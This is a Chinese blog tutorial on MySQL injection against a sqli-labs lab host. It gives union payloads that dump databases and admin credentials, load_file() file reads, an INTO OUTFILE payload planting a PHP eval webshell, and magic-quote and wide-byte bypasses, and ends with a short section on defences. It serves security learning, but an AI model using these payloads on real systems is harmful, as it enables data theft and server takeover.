13.SQL漏洞-高低权限注入&敏感文件读写

思维导图在这里插入图片描述

在这里插入图片描述

【高权限注入及低权限注入】

高用户权限和低用户权限的不同

网站A=数据库A=管理员用户A 存在sql注入漏洞 Root 前提是具有高权限
网站B=数据库B=管理员用户B 没有存在sql注入漏洞
网站C=数据库C=管理员用户C

跨库查询思路

用高权限用户来跨数据库查询

1.获取所有数据库名

http://192.168.80.140/sqlilabs/Less-2/?id=1 and 1=2 union select 1,group_concat(schema_name),3 from information_schema.schemata

原理:
在这里插入图片描述
SCHEMA_NAME有所有数据库的名字

2. 获取指定phpyun数据库名下的表名信息

http://192.168.80.140/sqlilabs/Less-2/?id=1 and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='phpyun'

table_name 是这个 information_schema.tables 表的列

3. 获取指定phpyun数据库下的表名phpyun_admin_user的列名信息

http://192.168.80.140/sqlilabs/Less-2/?id=1  and  1=2  union  select  1,group_concat(column_name),3  from  information_schema.columns  where  table_schema='phpyun'  and  table_name='phpyun_admin_user'

4 获取指定phpyun数据库下的username、password数据

http://192.168.80.140/sqlilabs/Less-2/?id=1  and  1=2  union  select 1,username,password  from  phpyun.phpyun_admin_user

【文件读写操作】

MySQL特有的函数

修改mysql.ini 文件,在[mysqld] 下加入

secure_file_priv =

前提条件

在mysql.ini配置文件添加参数secure_file_priv = [空]

1、load_file() — 读取函数

在window 下的路径// 或者\\ 都有结果 双写来转义
写法:?id=1 and 1=2 union select 1,load_file(‘C://boot.ini’),3–+
在这里插入图片描述

2、into outfileinto dumpfile — 导出函数

写法:?id=1 and 1=2 union select 1,'x',3 into outfile 'C://a.txt'--+

写shell:

?id=-3')) union select 1,0x3c3f706870206576616c28245f524551554553545b315d293b3f3e,3 into outfile 'C:\\Users\\Administrator.WIN2012\\Desktop\\phpStudy\\WWW\\outfile.php' --+

在这里插入图片描述
在这里插入图片描述

路径获取常见方法

 报错显示,遗留文件  phpinfo.php,漏洞报路径,平台配置文件,爆破等
 报错显示:一般网站在出现错误的时候会泄露出路径

遗留文件:站长调试的时候遗留的信息文件,如phpinfo(),会泄露路径。用扫描工具可以扫描到

漏洞报错:知道对方是用什么程序搭建的网站,再去网上搜索相关爆路径漏洞
参考:
https://blog.csdn.net/qq_32108547/article/details/95650380

平台配置文件:通过读取文件来读取搭建平台的配置文件。缺点:路径不是默认的,一旦更改很难找到路径

爆破:

常见

读取文件列表:常见写入文件问题:魔术引号开关

magic_quotes_gpc

魔术引号:php内置的一个安全机制,默认是开启的,当打开时,所有的 '(单引号),"(双引号),\(反斜线)和 NULL
字符都会被自动加上一个反斜线进行转义

5.4.0版本以上的把这个功能撤除了
类似PHP中的addslashes()函数

魔术引号绕过方法

1、编码绕过 转成十六进制进行绕过

http://192.168.80.140/sqlilabs/Less-2/?id=1 and 1=2 union select 1,load_file(0x433A2F2F7777772E747874),3–+

文件读取load_file ,用小葵转
在这里插入图片描述
在这里插入图片描述

2、宽字节绕过

(前提数据库编码是gbk)

show variables like '%char%'; 查看编码系统字符集设置
set character_set_client = gbk; 修改字符集编码方式
参考链接:https://blog.csdn.net/qq_46091464/article/details/105893529
在这里插入图片描述

?id=1’ and 1=2–+ 初始注入语句,发现行不通

sqlmap.py -u "url" --batch --tamper=unmagicquotes.py --current-db
unmagicquotes.py 是专门进行宽字节绕过脚本
\   %5c
'   %27

?id=1%df’ and 1=2–+
?id=1%df%5c%27 and 1=2–+
倘若网站的字符集是GBK,mysql使用的编码也是GBK的话,就会认为“ %df%5c%27 ”是一个宽字节。结合(因为宽字节是占两个字节),也就是“縗”

低版本注入 (MySQL版本<5.0,90、00年老站)

配合读取或暴力(没有information_schema自带的数据库)
通过字典跑或猜,工具再进行读取
(常用)或通过文件读取收集路径信息
(少见,一般首选植入后门)

【演示实验】

 高权限注入跨库查询操作测试
 高权限注入文件读写操作测试
 魔术引号开启后相关操作测试 宽字节绕过:http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1 在线靶场
【涉及资源】
https://blog.csdn.net/weixin_30292843/article/details/99381669

常见的load_file()读取的敏感信息

防注入手段

魔术引号及常见防护

魔术引号开关:magic_quotes_gpc

在magic_quotes_gpc=ON的情况下,如果输入的数据有单引号(’)、双引号(”)、反斜线(\)与 NUL( )等字符都会被加上反斜线,即被转义。在PHP6中删除了这个选项

绕过魔术引号方法:编码或宽字节绕过,如将网址转换成十六进制编码

内置函数

addslashes() 效果同魔术引号

is_int() 、is_integer()、is_long() 不可绕过

……

关键字过滤

把特定的关键字替换为空或把含有特定关键字的语句丢弃,WAF好用

尝试大小写、编码、双写等方法绕过,如果过滤设置的全面则无法绕过

WAF

一般基于上述内置函数和关键字过滤,主要是关键字

参考:https://www.bilibili.com/read/cv12500977/

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

明月清风~~

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值